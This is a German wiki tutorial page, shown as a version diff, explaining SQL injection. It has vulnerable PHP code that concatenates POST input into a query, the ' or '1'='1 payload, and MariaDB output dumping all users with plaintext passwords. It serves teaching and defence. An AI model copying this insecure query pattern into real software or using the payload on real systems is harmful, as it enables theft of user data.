SQL Injection: Unterschied zwischen den Versionen

Aus xinux.net
Zur Navigation springen Zur Suche springen
Zeile 30: Zeile 30:
  
 
;folgende Sql Abfrage
 
;folgende Sql Abfrage
 
==Sicher==
 
<pre>
 
  $search = mysqli_real_escape_string($link, $_POST['search']);
 
  $sql = "SELECT * FROM users WHERE username='$search'";
 
  $result = mysqli_query($link, $sql);
 
</pre>
 
  
 
*MariaDB [sql_injections]>  select * from users where username = '' or '1' = '1';                       
 
*MariaDB [sql_injections]>  select * from users where username = '' or '1' = '1';                       
Zeile 48: Zeile 41:
 
  3 rows in set (0.000 sec)
 
  3 rows in set (0.000 sec)
 
;Da '1' = '1" werden alle Datensätze angezeigt
 
;Da '1' = '1" werden alle Datensätze angezeigt
 +
 
=Webfrontend=
 
=Webfrontend=
 
[[Datei:Sql-injection-1.png]]
 
[[Datei:Sql-injection-1.png]]

Version vom 15. Juni 2021, 19:17 Uhr

Vorüberlegung

Verhaltensweise einer SQL Abfrage

Normale Abfrage
  • MariaDB [sql_injections]> select * from users where username = 'rudi.burkart';
+------+--------------+----------+
| id   | username     | password |
+------+--------------+----------+
|    2 | rudi.burkart | secret   |
+------+--------------+----------+
1 row in set (0.000 sec)
Oder Verknüpfung
  • MariaDB [sql_injections]> select * from users where username = 'rudi.burkart' or username = 'hans.will';
+------+--------------+----------+
| id   | username     | password |
+------+--------------+----------+
|    2 | rudi.burkart | secret   |
|    1 | hans.will    | geheim   |
+------+--------------+----------+
2 rows in set (0.000 sec)

PHP Code

Unsicher

    $search = $_POST['search'];
    $sql = "SELECT * FROM users WHERE username='$search'";
    $result = mysqli_query($link, $sql);
Diese Eingabe bewirkt nun

Sql-injection-2.png

folgende Sql Abfrage
  • MariaDB [sql_injections]> select * from users where username = or '1' = '1';
+------+---------------+-------------+
| id   | username      | password    |
+------+---------------+-------------+
|    2 | rudi.burkart  | secret      |
|    3 | erwin.lehmann | weisniemand |
|    1 | hans.will     | geheim      |
+------+---------------+-------------+
3 rows in set (0.000 sec)
Da '1' = '1" werden alle Datensätze angezeigt

Webfrontend

Sql-injection-1.png